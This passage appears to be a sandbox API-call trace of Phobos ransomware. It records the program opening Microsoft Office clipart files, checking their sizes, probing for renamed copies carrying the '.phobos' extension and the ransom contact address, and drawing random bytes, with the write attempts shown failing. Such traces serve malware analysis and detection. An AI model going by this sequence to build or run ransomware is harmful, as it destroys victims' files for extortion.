office\\root\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.730] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.733] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=27840) returned 1 [0154.733] CloseHandle (hObject=0x588) returned 1 [0154.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00232_.wmf")) returned 0x220 [0154.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00232_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00232_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.734] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.735] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31818) returned 1 [0154.735] CloseHandle (hObject=0x588) returned 1 [0154.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00233_.wmf")) returned 0x220 [0154.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00233_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00233_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.735] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.736] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2272) returned 1 [0154.736] CloseHandle (hObject=0x588) returned 1 [0154.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00402_.wmf")) returned 0x220 [0154.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00402_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00402_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.736] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.737] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8276) returned 1 [0154.737] CloseHandle (hObject=0x588) returned 1 [0154.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00482_.wmf")) returned 0x220 [0154.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00482_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00482_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.738] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.739] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6144) returned 1 [0154.739] CloseHandle (hObject=0x588) returned 1 [0154.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00494_.wmf")) returned 0x220 [0154.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00494_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00494_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.742] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.743] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=740) returned 1 [0154.743] CloseHandle (hObject=0x588) returned 1 [0154.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif")) returned 0x220 [0154.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.743] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.744] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=363) returned 1 [0154.744] CloseHandle (hObject=0x588) returned 1 [0154.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif")) returned 0x220 [0154.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.744] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.745] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=359) returned 1 [0154.745] CloseHandle (hObject=0x588) returned 1 [0154.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif")) returned 0x220 [0154.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.746] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.747] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=410) returned 1 [0154.747] CloseHandle (hObject=0x588) returned 1 [0154.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif")) returned 0x220 [0154.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.747] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.749] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=333) returned 1 [0154.749] CloseHandle (hObject=0x588) returned 1 [0154.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif")) returned 0x220 [0154.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.750] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.751] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=386) returned 1 [0154.751] CloseHandle (hObject=0x588) returned 1 [0154.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif")) returned 0x220 [0154.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.752] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.752] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=344) returned 1 [0154.752] CloseHandle (hObject=0x588) returned 1 [0154.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif")) returned 0x220 [0154.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.753] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.753] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=431) returned 1 [0154.754] CloseHandle (hObject=0x588) returned 1 [0154.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif")) returned 0x220 [0154.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.754] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.755] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=467) returned 1 [0154.755] CloseHandle (hObject=0x588) returned 1 [0154.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif")) returned 0x220 [0154.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.755] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.756] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=341) returned 1 [0154.756] CloseHandle (hObject=0x588) returned 1 [0154.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif")) returned 0x220 [0154.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.757] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.757] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=462) returned 1 [0154.757] CloseHandle (hObject=0x588) returned 1 [0154.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif")) returned 0x220 [0154.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.758] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.758] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4087) returned 1 [0154.758] CloseHandle 